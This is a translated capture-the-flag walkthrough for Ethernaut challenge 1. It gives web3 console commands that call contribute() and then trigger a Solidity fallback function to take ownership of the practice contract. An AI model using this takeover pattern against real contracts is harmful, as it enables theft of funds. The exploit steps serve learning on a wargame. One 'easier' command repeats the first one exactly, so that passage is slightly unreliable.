Ethernaut挑战1代码实战演练

本文介绍了如何在与ABI交互时发送以太币,包括使用回退函数和特定支付函数。通过一个挑战示例,展示了如何通过contribute()函数绕过回退函数的条件,最终触发回退函数,并检查是否成功控制了合约。

挑战的最终结果

基础知识

如何在与 ABI 交互时发送以太币

以下是如何发送交易:

var abi=[//你的abi数组];
var contractAddress = "//你的合约地址";
var contract = web3.eth.contract(abi).at(contractAddress);

Fallback 函数

web3.eth.sendTransaction({from:web3.eth.accounts[X],to:contractAddress , value:web3.utils.toWei('0.0000001','ether')}) //value 是一个例子

特定的 Payable 函数

contract.functionName.sendTransaction(parameter_1,parameter_2,parameter_n,{{from:web3.eth.accounts[X], value:xyz}},function (error, result){   if(!error){
                        console.log(result);
                    } else{
                        console.log(error);
                    }
            });

Fallback 函数 Solidity

在 Solidity 中,fallback 函数 是一个没有 名称参数返回值 的外部函数。它在以下情况之一中执行:

  • 如果函数标识符与智能合约中的任何可用函数都不匹配。
  • 如果没有与函数调用一起提供任何数据。

解决方案

思路是发送一个交易并触发 fallback 函数

我们需要绕过 fallback receive 函数中的这个条件:

require(msg.value > 0 && contributions[msg.sender] > 0);

为此,我们需要使用 contribute() 函数。

我们可以在控制台上这样做

contract.contribute.sendTransaction({from:player,to:contract.address , value:web3.utils.toWei('0.0000001','ether')})

或者你可以这样做(更简单)

contract.contribute.sendTransaction({from:player,to:contract.address , value:web3.utils.toWei('0.0000001','ether')})

发送后,你可以使用 Number(await contract.getContribution()) 检查你的贡献。

我们需要执行上述步骤的原因是为了触发 fallback 函数,我们需要有一些贡献。

这样,我们现在可以使用以下命令触发 fallback 函数

sendTransaction({from:player,to:contract.address , value:web3.utils.toWei('0.0000001','ether')})

要检查你是否已经击败了合约,你可以调用 await contract.owner() 并查看它是否是你自己的地址!

谢谢你,我希望你喜欢阅读它!不要忘记鼓掌和关注以获取更多挑战!

  • 原文链接: extremelysunnyyk.medium....
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
Yong kang Chia
Yong kang Chia
江湖只有他的大名,没有他的介绍。